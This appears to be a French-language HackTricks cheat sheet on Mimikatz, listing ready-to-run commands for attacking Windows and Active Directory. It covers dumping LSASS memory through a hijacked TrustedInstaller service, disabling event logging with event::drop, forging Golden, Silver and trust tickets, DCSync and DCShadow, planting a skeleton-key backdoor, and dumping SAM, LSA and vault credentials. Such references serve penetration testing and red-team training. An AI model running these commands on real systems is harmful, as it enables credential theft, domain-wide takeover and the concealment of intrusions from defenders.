Mimikatz

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Cette page est basée sur une de adsecurity.org. Consultez l'original pour plus d'infos !

LM et mots de passe en clair en mémoire

Depuis Windows 8.1 et Windows Server 2012 R2, des mesures significatives ont été mises en œuvre pour protéger contre le vol de credentials :

  • Les hachages LM et les mots de passe en clair ne sont plus stockés en mémoire pour améliorer la sécurité. Un paramètre de registre spécifique, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential", doit être configuré avec une valeur DWORD de 0 pour désactiver l'authentification Digest, garantissant que les mots de passe "en clair" ne sont pas mis en cache dans LSASS.

  • La protection LSA est introduite pour protéger le processus de l'Autorité de Sécurité Locale (LSA) contre la lecture non autorisée de la mémoire et l'injection de code. Cela est réalisé en marquant LSASS comme un processus protégé. L'activation de la protection LSA implique :

  1. Modifier le registre à HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa en définissant RunAsPPL sur dword:00000001.
  2. Mettre en œuvre un objet de stratégie de groupe (GPO) qui impose ce changement de registre sur les appareils gérés.

Malgré ces protections, des outils comme Mimikatz peuvent contourner la protection LSA en utilisant des pilotes spécifiques, bien que de telles actions soient susceptibles d'être enregistrées dans les journaux d'événements.

Contrebalancer la suppression de SeDebugPrivilege

Les administrateurs ont généralement SeDebugPrivilege, leur permettant de déboguer des programmes. Ce privilège peut être restreint pour empêcher les dumps de mémoire non autorisés, une technique courante utilisée par les attaquants pour extraire des credentials de la mémoire. Cependant, même avec ce privilège supprimé, le compte TrustedInstaller peut toujours effectuer des dumps de mémoire en utilisant une configuration de service personnalisée :

bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller

Cela permet de vider la mémoire de lsass.exe dans un fichier, qui peut ensuite être analysé sur un autre système pour extraire des identifiants :

# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords

Options Mimikatz

La falsification des journaux d'événements dans Mimikatz implique deux actions principales : effacer les journaux d'événements et patcher le service d'événements pour empêcher l'enregistrement de nouveaux événements. Voici les commandes pour effectuer ces actions :

Effacement des journaux d'événements

  • Commande : Cette action vise à supprimer les journaux d'événements, rendant plus difficile le suivi des activités malveillantes.
  • Mimikatz ne fournit pas de commande directe dans sa documentation standard pour effacer les journaux d'événements directement via sa ligne de commande. Cependant, la manipulation des journaux d'événements implique généralement l'utilisation d'outils système ou de scripts en dehors de Mimikatz pour effacer des journaux spécifiques (par exemple, en utilisant PowerShell ou le Visualiseur d'événements Windows).

Fonctionnalité expérimentale : Patchage du service d'événements

  • Commande : event::drop

  • Cette commande expérimentale est conçue pour modifier le comportement du service d'enregistrement des événements, empêchant effectivement l'enregistrement de nouveaux événements.

  • Exemple : mimikatz "privilege::debug" "event::drop" exit

  • La commande privilege::debug garantit que Mimikatz fonctionne avec les privilèges nécessaires pour modifier les services système.

  • La commande event::drop patch alors le service d'enregistrement des événements.

Attaques de tickets Kerberos

Création de Golden Ticket

Un Golden Ticket permet une usurpation d'accès à l'échelle du domaine. Commande clé et paramètres :

  • Commande : kerberos::golden
  • Paramètres :
  • /domain : Le nom de domaine.
  • /sid : L'identifiant de sécurité (SID) du domaine.
  • /user : Le nom d'utilisateur à usurper.
  • /krbtgt : Le hachage NTLM du compte de service KDC du domaine.
  • /ptt : Injecte directement le ticket en mémoire.
  • /ticket : Enregistre le ticket pour une utilisation ultérieure.

Exemple :

bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit

Création de Silver Ticket

Les Silver Tickets accordent l'accès à des services spécifiques. Commande clé et paramètres :

  • Commande : Semblable au Golden Ticket mais cible des services spécifiques.
  • Paramètres :
  • /service : Le service à cibler (par exemple, cifs, http).
  • Autres paramètres similaires au Golden Ticket.

Exemple :

bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit

Création de Ticket de Confiance

Les Tickets de Confiance sont utilisés pour accéder aux ressources à travers les domaines en tirant parti des relations de confiance. Commande clé et paramètres :

  • Commande : Semblable au Golden Ticket mais pour les relations de confiance.
  • Paramètres :
  • /target : Le FQDN du domaine cible.
  • /rc4 : Le hash NTLM pour le compte de confiance.

Exemple :

bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit

Commandes Kerberos supplémentaires

  • Lister les tickets :

  • Commande : kerberos::list

  • Liste tous les tickets Kerberos pour la session utilisateur actuelle.

  • Passer le cache :

  • Commande : kerberos::ptc

  • Injecte des tickets Kerberos à partir de fichiers de cache.

  • Exemple : mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit

  • Passer le ticket :

  • Commande : kerberos::ptt

  • Permet d'utiliser un ticket Kerberos dans une autre session.

  • Exemple : mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit

  • Purger les tickets :

  • Commande : kerberos::purge

  • Efface tous les tickets Kerberos de la session.

  • Utile avant d'utiliser des commandes de manipulation de tickets pour éviter les conflits.

Manipulation d'Active Directory

  • DCShadow : Faire temporairement agir une machine comme un DC pour la manipulation d'objets AD.

  • mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit

  • DCSync : Imiter un DC pour demander des données de mot de passe.

  • mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit

Accès aux informations d'identification

  • LSADUMP::LSA : Extraire des informations d'identification de LSA.

  • mimikatz "lsadump::lsa /inject" exit

  • LSADUMP::NetSync : Imiter un DC en utilisant les données de mot de passe d'un compte d'ordinateur.

  • Aucune commande spécifique fournie pour NetSync dans le contexte original.

  • LSADUMP::SAM : Accéder à la base de données SAM locale.

  • mimikatz "lsadump::sam" exit

  • LSADUMP::Secrets : Déchiffrer les secrets stockés dans le registre.

  • mimikatz "lsadump::secrets" exit

  • LSADUMP::SetNTLM : Définir un nouveau hachage NTLM pour un utilisateur.

  • mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit

  • LSADUMP::Trust : Récupérer des informations d'authentification de confiance.

  • mimikatz "lsadump::trust" exit

Divers

  • MISC::Skeleton : Injecter un backdoor dans LSASS sur un DC.
  • mimikatz "privilege::debug" "misc::skeleton" exit

Escalade de privilèges

  • PRIVILEGE::Backup : Acquérir des droits de sauvegarde.

  • mimikatz "privilege::backup" exit

  • PRIVILEGE::Debug : Obtenir des privilèges de débogage.

  • mimikatz "privilege::debug" exit

Dumping d'informations d'identification

  • SEKURLSA::LogonPasswords : Afficher les informations d'identification des utilisateurs connectés.

  • mimikatz "sekurlsa::logonpasswords" exit

  • SEKURLSA::Tickets : Extraire des tickets Kerberos de la mémoire.

  • mimikatz "sekurlsa::tickets /export" exit

Manipulation de SID et de jetons

  • SID::add/modify : Changer SID et SIDHistory.

  • Ajouter : mimikatz "sid::add /user:targetUser /sid:newSid" exit

  • Modifier : Aucune commande spécifique pour modifier dans le contexte original.

  • TOKEN::Elevate : Imiter des jetons.

  • mimikatz "token::elevate /domainadmin" exit

Services Terminal

  • TS::MultiRDP : Permettre plusieurs sessions RDP.

  • mimikatz "ts::multirdp" exit

  • TS::Sessions : Lister les sessions TS/RDP.

  • Aucune commande spécifique fournie pour TS::Sessions dans le contexte original.

Coffre-fort

  • Extraire des mots de passe du Coffre Windows.
  • mimikatz "vault::cred /patch" exit

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks